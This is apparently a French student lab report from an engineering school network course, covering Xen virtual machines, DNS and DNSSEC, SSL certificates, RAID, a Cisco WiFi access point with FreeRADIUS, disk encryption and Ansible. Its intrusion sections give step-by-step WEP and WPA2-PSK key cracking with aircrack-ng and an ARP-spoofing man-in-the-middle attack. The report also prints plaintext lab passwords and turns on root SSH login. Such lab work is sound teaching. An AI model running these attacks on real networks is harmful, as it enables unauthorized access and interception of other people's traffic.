TP sysres IMA5 2021/2022 G2

De Wiki d'activités IMA

Wiki compte-rendu de TP PRA - Aviran Tetia & Robin Lasserye

Cours et Sujet

L'objectif de ce TP est de créer un réseau redondé

Cours

Lien: https://rex.plil.fr/Enseignement/Reseau/Reseau.IMA5sc/

Sujet

Lien : https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/

Configuration du Réseau physique

[insérer image]

Plan d'adressage

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4/IPv6 6509E (E304) IPv4/IPv6 C9200 (E306) IPv4/IPv6 ISR4331 SSID VM
Andrei / Julien 10 10.00.0.0/16 2001:7A8:116E:60B0::0/64 10.00.0.250 10.00.0.251 10.00.0.252 10.00.0.253 Jonquille Kronenbourg
Robin / Aviran 11 10.11.0.0/16 2001:7A8:116E:60B1::0/64 10.11.0.250 10.11.0.251 10.11.0.252 10.11.0.253 Marguerite Paixdieu
Axel / Guillaume 02 10.2.0.0/16 2001:7A8:116E:60B2::0/64 10.02.0.250 10.02.0.251 10.02.0.252 10.02.0.253 Pensee Kasteel
Selim / Raphael 03 10.3.0.0/16 2001:7A8:116E:60B3::0/64 10.03.0.250 10.03.0.251 10.03.0.252 10.03.0.253 Lavende Karmeliet
Helene / Camille 04 10.4.0.0/16 2001:7A8:116E:60B4::0/64 10.04.0.250 10.04.0.251 10.04.0.252 10.04.0.253 Tulipe Duff
Boris / Louis 05 10.5.0.0/16 2001:7A8:116E:60B5::0/64 10.05.0.250 10.05.0.251 10.05.0.252 10.05.0.253 Rose Bellerose
Johnny / Arthur 06 10.6.0.0/16 2001:7A8:116E:60B6::0/64 10.06.0.250 10.06.0.251 10.06.0.252 10.06.0.253 Orchidee Anosteke
Mel / Theo 07 10.7.0.0/16 2001:7A8:116E:60B7::0/64 10.07.0.250 10.07.0.251 10.07.0.252 10.07.0.253 Tournesol RinceCochon
Khalil / Alvaro 08 10.8.0.0/16 2001:7A8:116E:60B8::0/64 10.08.0.250 10.08.0.251 10.08.0.252 10.08.0.253 Lys godless
Souleyman / Enoch 09 10.9.0.0/16 2001:7A8:116E:60B9::0/64 10.09.0.250 10.09.0.251 10.09.0.252 10.09.0.253 Pissenlit Panache
Clement 110 10.10.0.0/16 2001:7A8:116E:60BA::0/64 10.10.0.250 10.10.0.251 10.10.0.252 10.10.0.253 Coquelicot Corona
INTERCO 531 192.168.222.72/29 192.168.222.74 192.168.222.75 192.168.222.76  
XEN 42 193.48.57.160/28 2001:7A8:116E:60BF::0/64 193.48.57.190/28 2001:7A8:116E:60B0::F3/64 193.48.57.187/28 2001:7A8:116E:60B0::F0/64 193.48.57.188/28 2001:7A8:116E:60B0::F1/64 192.48.57.189/28 2001:7A8:116E:60B0::F2/64  

Table du VLAN 42

Groupe @IPv4 MV @IPv6 MV (auto)
Andrei / Julien 193.48.57.176/28  
Robin / Aviran 193.48.57.177/28  
Axel / Guillaume 193.48.57.178/28  
Selim / Raphael 193.48.57.179/28  
Helene / Camille 193.48.57.180/28  
Boris / Louis 193.48.57.181/28  
Johnny / Arthur 193.48.57.182/28  
Mel / Theo 193.48.57.183/28  
Khalil / Alvare 193.48.57.184/28  
Souleyman / Enoch 193.48.57.185/28  
Clement 193.48.57.186/28  


  • Plan d'adressage IPv4 :
VLAN Nom Réseau IPv4 Cisco 6509-E Cisco 9200 Cisco ISR 4331 Routeur plateforme maths/info PA Wifi n°1 PA Wifi n°2
  • Plan d'adressage IPv6 :
VLAN Nom Réseau IPv6 Cisco 6509-E Cisco 9200 Cisco ISR 4331 Routeur plateforme maths/info PA Wifi n°1 PA Wifi n°2

Administration

Vlan 1 = Vlan d'administration

Nom de l'appareil IPv4
router e306 10.1.0.1/24
router e304 10.1.0.2/24
ap e306 10.1.0.3/24
ap e304 10.1.0.4/24

Configuration des Machines Virtuelles

On se connecte en ssh à capbreton :

ssh root@capbreton

Nous incluons le proxy de polytech dans nos variables d'environnement:

export http_proxy=http://proxy.plil.fr:3128

Nous procédons ensuite la création de la machine virtuelle, pour cela nous allons saisir les informations suivantes: le nom de la machine (ici Paixdieu), l'adresse IP (--ip) qui nous a été fourni durant la répartition des IP, l'adresse IP du routeur de la salle E306 (--gateway) et le masque du réseau correspondant à un /28 (--netmask) (le /27 étant divisé entre les deux classes), l'emplacement de nos disques virtuels (--dir), le mot de passe de la machine virtuel (---password) puis le type de distribution souhaitée, ici nous avons choisi Debian Bullseye (--dist).

xen-create-image --hostname=Paixdieu --ip=193.48.57.177 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Ensuite, nous avons créé deux LV, chacun de 10 Go sur le groupe de volume de stockage:

lvcreate -L10G -n Paixdieu1 storage
lvcreate -L10G -n Paixdieu2 storage

Puis nous les avons formatés au format ext4 de la manière suivante:

mkfs.ext4 /dev/storage/Paixdieu1
mkfs.ext4 /dev/storage/Paixdieu2

nous modifions ensuite notre fichier "/etc/xen/Paixdieu.cfg" pour préciser l'ajout les volumes logiques Paixdieu1 et Paixdieu2, de plus on ajoute le bridge IMA5sc dans la fonction vif. Pour cela on ajoute les lignes suivantes:

#
#  Disk device(s).
#
root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/Paixdieu/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Paixdieu/swap.img,xvda1,w',
 		  'phy:/dev/storage/Paixdieu1,xvda3,w',
 		  'phy:/dev/storage/Paixdieu2,xvda4,w'
             ]


#
#  Physical volumes
#


#
#  Hostname
#
name        = 'Paixdieu'

#
#  Networking
#
vif         = [ 'ip=193.48.57.177 ,mac=00:16:3E:95:13:AE ,bridge=IMA5sc' ]

Nous lancons la machine virtuelle:

xl create -c /etc/xen/Paixdieu.cfg

Nous ajoutons les répertoires liés à xvda3 et vxda4 pour y placer /home et /var:

mkdir /mnt/xvda3
mkdir /mnt/xvda4
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4

Nous y déplaçons le répertoire /var/ dans xvda4:

mv /var/* /mnt/xvda4

Pour monter les disques, nous modifions les lignes suivantes dans /etc/fstab:

proc            /proc           proc    defaults        0       0
devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous lancons la commande de montage:

mount -a

Nous obtenons les partitions suivantes:

lsblk

NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

Pour finir nous activons l'IPv6 dans l'interface en ajoutant les lignes suivantes dans /etc/network/interfaces:

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
 
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.177
gateway 193.48.57.190
netmask 255.255.255.240
iface eth0 inet6 auto 

# post-up  ethtool -K eth0 tx off

#
# The commented out line above will disable TCP checksumming which
# might resolve problems for some users.  It is disabled by default

Nous effectuons les commandes suivantes pour appliquer les changements:

systemctl restart networking
ip a

Et nous obtenons les résultats comme ça:

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host 
      valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
   link/ether 00:16:3e:95:13:ae brd ff:ff:ff:ff:ff:ff
   inet 193.48.57.177/28 brd 193.48.57.191 scope global eth0
      valid_lft forever preferred_lft forever
   inet6 2001:7a8:116e:60b0:216:3eff:fe95:13ae/64 scope global dynamic mngtmpaddr 
      valid_lft 2591995sec preferred_lft 604795sec
   inet6 fe80::216:3eff:fe95:13ae/64 scope link 
      valid_lft forever preferred_lft forever

Puis nous quittons la VM avec CTRL + [

Pour y retourner:

xen console Paixdieu

Pour retourner sur sa machine virtuelle, il faut :

- retourner sur capbreton

ssh root@capbreton

- Relancer la VM (login : root | password : glopglopglop):

xl create -c /etc/xen/Paixdieu.cfg

Nous avons configuré la résolution de noms dans /etc/network/interfaces, en ajoutons la ligne suivante :

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
 
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.177
gateway 193.48.57.190
netmask 255.255.255.240
dns-nameservers 8.8.8.8 8.8.4.4
iface eth0 inet6 auto

Puis nous avons vérifié son fonctionnement à l'aide d'un :

ping www.google.com
...
--- www.google.com ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4005ms

Configuration du SSH

Dans /etc/ssh/sshd_config, ajout des lignes :

Port 2223
PermitRootLogin yes

Puis :

> systemctl restart ssh
> systemctl status ssh
ssh.service - OpenBSD Secure Shell server
    Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: e>
    Active: active (running) since Mon 2021-11-29 14:47:49 UTC; 2s ago
      Docs: man:sshd(8)
            man:sshd_config(5)
   Process: 3679 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
  Main PID: 3680 (sshd)
     Tasks: 1 (limit: 230)
    Memory: 1.3M
       CPU: 21ms
    CGroup: /system.slice/ssh.service
            `-3680 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

Puis nous testons le SSH depuis le terminal de la Zabeth :

> ssh root@193.48.57.177 -p 2223
password : glopglopglop

Nous arrivons à nous connecter, la configuration du SSh est donc un succès.

Configuration du DNS

On a installé le package bind9 :

>apt install bind9

Sur le site gandit.net, nous avons modifié :

Fenêtre Glue Records : ns1.paixdieu.site | 193.48.57.177

Fenêtre Serveurs de noms :

DNS Primaire : ns1.paixdieu.site | DNS Secondaire : ns6.gandi.net Note : Après avoir constaté que le serveur secondaire ne se mettait pas à jour après chaque "notify" du serveur primaire, nous avons finalement choisi d'utiliser le serveur ns1.belle-rose.site en tant que serveur secondaire.

Dans le fichier /etc/resolv.conf, ajout de la ligne :

nameserver 127.0.0.1

Afin de configurer le DNS par defaut.

Puis nous passons à la configuration du DNS primaire : On ajoute donc une zone lié à notre domaine paixdieu.site de type master et le chemin de son fichier de configuration et on permet les transferts d'informations avec le DNS secondaire ns6.gandi.net.

On ajoute donc les lignes suivantes dans /etc/bind/named.conf.local:

>vim /etc/bind/named.conf.local

zone "paixdieu.site" {
        type master;
        file "/etc/bind/db.paixdieu.site";
};

Nous avons séparés configuration des serveurs autorisés à dupliqué nos zones de la config de nos zones en insérant les acl suivantes dans le fichier /etc/bind/named.conf.

options {
  directory "/var/cache/bind";
  dnssec-validation auto;
  dnssec-enable yes;
  dnssec-lookaside auto;
  listen-on-v6 { any; };
  allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
  217.70.177.40; //@ de ns6.gandi.net mais plus utilisé au final
  193.48.57.181; //@ de ns1.belle-rose.site
};

Puis nous configurons la zone paixdieu.site, pour cela on ajoute les ns. On ajoute les lignes suivantes dans /etc/bind/db.paixdieu.site:

>vim /etc/bind/db.paixdieu.site
@       IN      SOA     ns1.paixdieu.site. postmaster.paixdieu.site. (
                             4         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.paixdieu.site.
@       IN      NS      ns1.belle-rose.site.
ns1     IN      A       193.48.57.177
www     IN      A       193.48.57.177

Pour tester le bon fonctionnement du serveur DNS, nous utilisons la commande :

>host -t any paixdieu.site localhost

Résultat, cela fonctionne bien :

Using domain server:
Name: localhost
Address: 127.0.0.1#53
Aliases: 
paixdieu.site has SOA record ns1.paixdieu.site. postmaster.paixdieu.site. 4 604800 86400 2419200 604800
paixdieu.site name server ns1.belle-rose.site.
paixdieu.site name server ns1.paixdieu.site.

HTTPS / Certificat SSL

Nous avons ensuite procéder à la création des certificats SSL. Nous sommes donc allés sur Gandi, acheter un certificat. Pour cela nous avons généré un CSR avec la commande :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout paixdieu.site.key -out paixdieu.site.csr

-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

-keyout paixdieu.site.key permet de sauvegarder le fichier de clé privée sous le nom "paixdieu.site.key".

-out paixdieu.csr permet de sauvegarder le fichier CSR sous le nom "paixdieu.csr".

Lors du paramètrage, nous avons bien fait attention à rentrer "paixdieu.site" comme common name pour que le certificat soit validé par gandi. Cela se fait en copiant le contenu de paixdieu.site.csr dans la fenêtre correspondante lors de l'achat du certificat.

Afin de bien sauvegarder les fichiers utilisés, nous les avons sauvegarder dans le dossier suivant:

~/save_dns/paixdieu.site.csr
~/save_dns/paixdieu.site.key

Sécurisation de serveur DNS par DNSSEC

Activer DNSSEC

Dans /etc/bind/named.conf.options on ajoute les lignes :

dnssec-validation yes;
dnssec-enable yes;
dnssec-lookaside auto;

On crée un répertoire /etc/bind/paixdieu.site.dnssec/ On crée la clef asymétrique de signature de clefs de zone

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE paixdieu.site

On crée la clef asymétrique de la zone pour signer les enregistrements

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE paixdieu.site


On renomme les clés :

mv Kpaixdieu.site.+005+17429.key paixdieu.site-ksk.key
mv Kpaixdieu.site.+005+17429.private paixdieu.site-ksk.private
mv Kpaixdieu.site.+005+28633.key paixdieu.site-zsk.key
mv Kpaixdieu.site.+005+28633.private paixdieu.site-zsk.private

On les inclue à la suite de /etc/bind/db.paixdieu.site

$include /etc/bind/paixdieu.site.dnssec/paixdieu.site-ksk.key
$include /etc/bind/paixdieu.site.dnssec/paixdieu.site-zsk.key

Puis incrémente le numéro de série (5=>6)

On signe des enregistrements de la zone

dnssec-signzone -o paixdieu.site -k paixdieu.site-ksk ../db.paixdieu.site paixdieu.site-zsk

Prise en compte du fichier signé

On modifie le fichier /etc/bind/named.conf.local de la manière suivante :

zone "paixdieu.site" {

type master; file "/etc/bind/db.paixdieu.site.signed";

};

Pour finir, nous allons sur gandi.net, sur notre nom de domaine dans DNSSEC et nous ajoutons la clef (ksk avec l'algorithme 5 (RSA/SHA-1). Et nous vérifions le bon fonctionnement du DNSSEC de la manière suivante :

> dnssec-verify -o paixdieu.site db.paixdieu.site.signed
Loading zone 'paixdieu.site' from file 'db.paixdieu.site.signed'
Verifying the zone using the following algorithms:
- RSASHA1
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked

Sécurisation de site web par certificat

On active le module SSL

a2enmod ssl

On configure le port 443 pour l'HTTPS en remplaçant dans le fichier /etc/apache2/ports.conf :

Listen 80

<IfModule ssl_module>
       Listen 443
</IfModule>

par

<IfModule mod_ssl.c>
        Listen 443
</IfModule>

On place paixdieu.site.key dans /etc/ssl/private/ et paixdieu.site.crt dans /etc/ssl/certs/

On crée les liens symboliques pour les certificats

> c_rehash /etc/ssl/certs
Doing /etc/ssl/certs
WARNING: Skipping duplicate certificate ca-certificates.crt
WARNING: Skipping duplicate certificate ca-certificates.crt

On configure apache en ajoutant la ligne suivante dans le fichier /etc/apache2/apache2.conf :

ServerName paixdieu.site

On crée le fichier de configuration custom /etc/apache2/sites-available/000-paixdieu.site-ssl.conf :

<VirtualHost *:80>
        ServerName paixdieu.site
        ServerAlias www.paixdieu.site
	ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html 
	Redirect permanent / https://paixdieu.site/
 </VirtualHost>
 <VirtualHost *:443>
	ServerAdmin webmaster@localhost
	ServerName paixdieu.site
	ServerAlias www.paixdieu.site
	DocumentRoot /var/www/html
	SSLEngine on
	SSLCertificateFile /etc/ssl/certs/paixdieu.site.crt
	SSLCertificateKeyFile /etc/ssl/private/paixdieu.site.key
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
 </VirtualHost>


Puis nous activons le site ssl :

a2ensite 000-paixdieu.site-ssl

Nous arrivons bien à nous connecter à https://www.paixdieu.site Et un test avec openssl nous renvoie le résultat suivant :

CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 CN = paixdieu.site
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = paixdieu.site
verify error:num=21:unable to verify the first certificate
verify return:1
depth=0 CN = paixdieu.site
verify return:1
---
Certificate chain
0 s:CN = paixdieu.site
  i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2
---
Server certificate
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
subject=CN = paixdieu.site
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2
---

Architecture réseau

L'architecture générale

Pra diagrams.png

Les réseaux virtuels

Le routage du site (IPv4)

Le routage du site (IPv6)

[insérer résumé]

Tests d'intrusion

Cassage de clef WEP d’un point d’accès WiFi

Pendant que l'infrastructure réseau était en train d'être configurée, nous avons testé de casser une clé wep.

Commandes réalisées sur un eeePC sous Linux :

Récupération du nom de l'interface réseau WiFi du eeePC:

ip a

On trouve : wlx40a5ef0f68cb

Mettre la carte réseau WiFi en mode monitor sur le channel 4:

airmon-ng start wlx40a5ef0f68cb 4

Après cette étape, il est possible que la carte réseau soit renommée par airmon-ng en wlan0mon.

Vérification que celle-ci est bien en mode monitor :

iwconfig

Ecouter les beacon WiFi sur cette carte réseau :

airodump-ng wlan0mon


De cette écoute , nous choisissons l'AP nommé cracotte09 avec le BSSID  : 04:DA:D2:9C:50:58

Nous simulons l'authentification sur cet AP :

aireplay-ng -9 -e cracotte09 -a 04:DA:D2:9C:50:58' wlan0mon
-9 : mode injection
-e cracotte09 : nom du point d'accès
-a 04:DA:D2:9C:50:58 : bssid du point d'accès

Nous récupérons ensuite un nombre de frames conséquent émis par cet access point :

aireplay-ng -1 0 -e cracotte09 -a 04:DA:D2:9C:50:58 -h 40:A5:EF:01:28:D0 wlan0mon

-1 : mode "fake authentification" 0 : délai entre les demandes d'authentifications -h 40:A5:EF:01:27:D0 : bssid de l'interface réseau

Résultat :

Branchements duu eeee PC

Cassage de clef WPA2-PSK d’un point d’accès WiFi

Maintenant nous choisissions kracotte5 comme victime à l'aide du groupe de commande précédentes, c'est à dire :

airmon-ng start wlx40a5ef0f68cb 4
airodump-ng wlan0mon

Une fois que nous avons trouvé la victime (kracotte 5 ainsi que son BSSID), nous tentons de récupérer un handshake provenant de ce point d'accès et nous le stockons dans un fichier psk :

airodump-ng -c 4 --bssid 44:AD:D9:5F:87:04 -w psk wlan0mon

Nous installons ensuite un utilitaire pour générer le dictionnaire de clé WPA2-PSK qui sera utilisé par aircrack-ng pour se connecter au point d'accès wifi kracotte5 :

apt-get install crunch

Pour installer cette utilitaire nous pouvons relier l'eeePc au réseau de l'école à l'aide du deuxième câble ethernet disponnible à l'arrière des zabeth :


Branchements duu eeee PC


Une fois installé nous pouvons générer le dictionnaire :

crunch 8 8 0123456789 -o password.lst

Une fois généré, nous pouvons lancer la précédure de crackage (qui peut être très longue) :

aircrack-ng -w password.lst -b 44:AD:D9:5F:87:04 psk*.cap
Crackage WPA

Intrusion sur un serveur d’application Web

Fichier:Wiki intrusion 5.5.zip

RAID Logiciel

Partitions crées sur capbreton :

ssh root@capbreton
lvcreate -L1G -n paixdieu-part1 storage
lvcreate -L1G -n paixdieu-part2 storage
lvcreate -L1G -n paixdieu-part3 storage

Ajout de ces volumes à notre configuration de VM (/etc/xen/Paixdieu.cfg) :

disk        = 	[
                 'file:/usr/local/xen/domains/Paixdieu/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Paixdieu/swap.img,xvda1,w',

'phy:/dev/storage/Paixdieu1,xvda3,w', 'phy:/dev/storage/Paixdieu2,xvda4,w' 'phy:/dev/storage/paixdieu-part1, xvda5,w' 'phy:/dev/storage/paixdieu-part2, xvda6,w' 'phy:/dev/storage/paixdieu-part3, xvda7,w' ]

Nous relançons la vm :

1. Sur la vm :

shutdown now

2. Sur Capbreton :

xl create /etc/xen/Paixdieu.cfg -c

Installation de l'utilitaire :

apt install mdadm

Création du raid 5 :

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7

Vérification de la création des volumes :

lsblk

Nous donne :

NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT
loop0   7:0    0 99.4M  1 loop  /snap/core/11993
loop1   7:1    0 61.9M  1 loop  /snap/core20/1270
loop2   7:2    0 43.1M  1 loop  /snap/certbot/1670
xvda1 202:1    0  512M  0 disk  [SWAP]
xvda2 202:2    0    4G  0 disk  /
xvda3 202:3    0   10G  0 disk  /home
xvda4 202:4    0   10G  0 disk  /var
xvda5 202:5    0    1G  0 disk  
`-md0   9:0    0    2G  0 raid5 
xvda6 202:6    0    1G  0 disk  
`-md0   9:0    0    2G  0 raid5 
xvda7 202:7    0    1G  0 disk  
`-md0   9:0    0    2G  0 raid5 

Remarque : Les volumes sont créés mais pas encore montés. (rien écrit dans le champs "MOUNTPOINT")

Création d'un point de montage :

mkfs.ext4 /dev/md0
mkdir /media/raid

Ajout de la ligne suivant dans le fichier /etc/fstab :

/dev/md0 /media/raid ext4 defaults 0 1

Montage des disques :

mount -a

Vérification du montages des disques :

lsblk

Donne :

NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT
loop0   7:0    0 99.4M  1 loop  /snap/core/11993
loop1   7:1    0 61.9M  1 loop  /snap/core20/1270
loop2   7:2    0 43.1M  1 loop  /snap/certbot/1670
xvda1 202:1    0  512M  0 disk  [SWAP]
xvda2 202:2    0    4G  0 disk  /
xvda3 202:3    0   10G  0 disk  /home
xvda4 202:4    0   10G  0 disk  /var
xvda5 202:5    0    1G  0 disk  
`-md0   9:0    0    2G  0 raid5 /media/raid
xvda6 202:6    0    1G  0 disk  
`-md0   9:0    0    2G  0 raid5 /media/raid
xvda7 202:7    0    1G  0 disk  
`-md0   9:0    0    2G  0 raid5 /media/raid

Configuration point d'accès WiFI

Configuration du point d'accès WiFi E304 (primaire) :

Installation de minicom sur macos :

brew install minicom

Récupération du nom du point d'accès connecté en USB (mac Os):

ls /dev/cu*

On obtient (en branchant et débranchant on identifie l'appareil qui apparait):

/dev/cu.usbserial-FTB3OOLY

Configuration du routeur WiFi :

minicom -os

Configuration à ajouter :

Nom de device : /dev/cu.usbserial-FTB3OOLY
Baudrate : 9600 8N1

Sources : - https://wiki-ima.plil.fr/mediawiki//index.php/TP_sysres_IMA5_2021/2022_G6 - https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau006.html#sec29

enable => Passer en root (mdp : Cisco si par défaut)
conf t 
hostname wifi-ima5sc-e304 => (optionnel) on donne un nom à notre point d'accès
ip domain-name plil.info => ajoute un nom de domaine (utilisé pour la création de certificats)

Activation du ssh :

crypto key generate rsa general-keys modulus 2048 => Génération clés publique/privée 
ip ssh version 2 => Activation ssh

Configuration de l'authentification sur le point d'accès :

aaa new-model
aaa authentication login eap_marguerite group radius_marguerite
radius-server host 193.48.57.177 auth-port 1812 acct-port 1813 key secret_marguerite
aaa group server radius radius_marguerite
server 193.48.57.177 auth-port 1812 acct-port 1813

Configuration du SSID :

conf t
dot11 ssid SSID_MARGUERITE
vlan 11
 authentication open eap eap_marguerite
 authentication network-eap eap_marguerite
 authentication key-management wpa
 mbssid guest-mode
 exit
exit

Association du SSID à l'interface Wi-Fi :

conf t
interface Dot11Radio0
 encryption vlan 11 mode ciphers aes-ccm tkip
 ssid SSID_MARGUERITE
 mbssid
 exit
exit

Configuration du Vlan 11 :

conf t
interface Dot11Radio0.11
 encapsulation dot1Q 11
 no ip route-cache
 bridge-group 11
 bridge-group 11 subscriber-loop-control
 bridge-group 11 spanning-disabled
 bridge-group 11 block-unknown-source
 exit
exit

Configuration interface filaire :

conf t
 interface GigabitEthernet0.11
 encapsulation dot1Q 11
 bridge-group 11
 exit
exit

Configuration de l'IP du point d'accès et sa Gateway (n'est pas à faire par tous les groupes) :

conf t
 ip default-gateway 10.1.0.2
 interface BVI 1
  ip address 10.1.0.4 255.255.255.0
  exit
 exit

Configuration du routeur en e304 :

Configuration du VLAN1 :

 conf t
 interface vlan 1
  ip address 10.1.0.2 255.255.255.0
  exit
 exit

Configuration du port sur lequel est branché l'AP en mode trunk :

 conf t
 interface Gi4/2
  switchport
  switchport mode trunk
  switchport trunk allowed vlan add 1
  exit
 exit

Serveur FreeRadius

Installation de freeRADIUS

apt install freeradius

On commence par configurer /etc/freeradius/3.0/clients.conf à détailler

client marguerite {
	ipaddr = 10.1.0.4/24
	secret = secret_marguerite
}

ensuite /etc/freeradius/3.0/mods-enabled/eap

eap {
  [...]
  default_eap_type = peap
}

puis /etc/freeradius/3.0/users

[...]
root Cleartext-Password := "glopglop"

Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug freeradius -X (après avoir au préalable stoppé le processus)

Eap auth marguerite.png

Réalisations

Chiffrement de données

On se met en root sur une zabeth et on affiche les périphériques avec lsblk.

On s'interesse au périphérique suivant :

sdb      8:16   1   7.6G  0 disk 
└─sdb1   8:17   1   7.6G  0 part /media/pifou/USB DISK

On formate la clef en ext4

mkfs.ext4 /dev/sdb1

Puis on commence le cryptage en initialisant la clef avec un mot de passe (ici le mot de passe habituel mais x3):

cryptsetup luksFormat /dev/sdb1

On crée une partition chiffrée appelée data avec sa passphrase :

cryptsetup luksOpen /dev/sdb1 data

Que l'on formate :

mkfs.ext4 /dev/mapper/data

On monte cette partition pour lui permettre de contenir des fichiers :

mkdir /mnt/data_usb
mount -t ext4 /dev/mapper/data /mnt/data_usb

On écrit un fichier test dans la partition :

 vim /mnt/data_usb/test

On démonte la partition :

umount /mnt/data_usb

Et on ferme le volume maintenant chiffré :

cryptsetup luksClose data

En voulant accéder à la clef, nous avons maintenant une demande de mot de passe, une fois insérer le fichier test est bien dedans avec son contenu. Demande mdp.png

Attaque de type "homme au milieu" par usurpation ARP

source: https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6

On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.

On fait :

$ echo 1 > /proc/sys/net/ipv4/ip_forward

Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):

$ arpspoof -t 172.26.145.61 172.26.145.254

En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.

Ferme de serveurs Web

Installation VM xen :

xl create -c /etc/xen/pra-07.cfg

Configuration IP :

Dans /etc/network/interfaces :

# The primary network interface
auto eth0
iface eth0 inet static
address 172.26.145.102
netmask 255.255.255.0
gateway 172.26.145.254

Vérifier si on a bien la passerelle par défaut de configurer

ip r

On peut pinger le routeur :

ping 172.26.154.254

Mais pas les addresses ipv4 routée :

ping 8.8.8.8 échoue 

Redémarage service networking

service networking restart

Si ça n'est pas suffisant :

ifdown eth0
ifup eth0

Dans /etc/ssh/sshd_config :

PermitRootLogin yes

Redémarage service ssh export http_proxy=http://proxy.plil.fr:3128

service sshd restart


Création d'une clé ssh sur la zabeth et ajout de cette clé dans les clés autorisées de la vm de pra :

ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "aviran.tetia@polytech-lille.net" -P ""

On copie le contenu de la clé crée :

cat ~/.ssh/id_ed25519.pub

On colle son contenu dans les clé authorisées de la VM (fichier ~/.ssh/authorized_keys) :

cat ~/.ssh/authorized_keys 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDZfT1XxI7Zmqd07dup81hztaYKwLLapjhORHWmxUUCJ aviran.tetia@polytech-lille.net

Correction de la source list de la VM pour pouvoir utiliser apt correctement :

On remplace les deux dernières lignes par :

deb     http://security.debian.org/debian-security bullseye-security main contrib non-free
deb-src http://security.debian.org/debian-security bullseye-security  main contrib non-free

Installation de python sur la VM :

apt update 
apt install python3

Création d'un venv pour l'éxecution :

python3 -m venv ~/env-ansible
. ~/env-ansible/bin/activate
pip3 install -U setuptools wheel
pip3 install -U ansible

On crée l'arborescence suivante :

└── roles
   ├── base
   │   ├── tasks
   │   │   └── main.yml
   │   └── templates
   │       ├── hostname.j2
   │       └── hosts.j2
   └── ssh_key
       ├── tasks
       │   └── main.yml
       └── templates
           └── keys.j2

Dans main.yml :

- name: "Setup sshkeys"
 template:
   src: keys.j2
   dest: /root/.ssh/authorized_keys
   owner: root
   group: root
   mode: "0600"

/!\ ne pas mettre de tabulation dans ce fichier, uniquement des espaces

Dans keys.j2 :

 {% for item in ssh_keys %}
{{ item.key }}
{% endfor %}

Ajout d'une clef dans les variables de groupe group_vars/all.yaml :

ssh_keys:
 # if you don't install this i won't be able to get into your nodes to help you debug :)
 - name: tmaurice@thonkpad
   key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPrw78OSJACq5MFXHrhAr2bPpnTNxwLE85mzij8gKmCs thomas@thonkpad
   # add more keys here
 - name: aviran.tetia@polytech-lille.net
   key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDZfT1XxI7Zmqd07dup81hztaYKwLLapjhORHWmxUUCJ aviran.tetia@polytech-lille.net 


Puis lancer la commande :

ansible-playbook -v -i inventory polytech.yaml

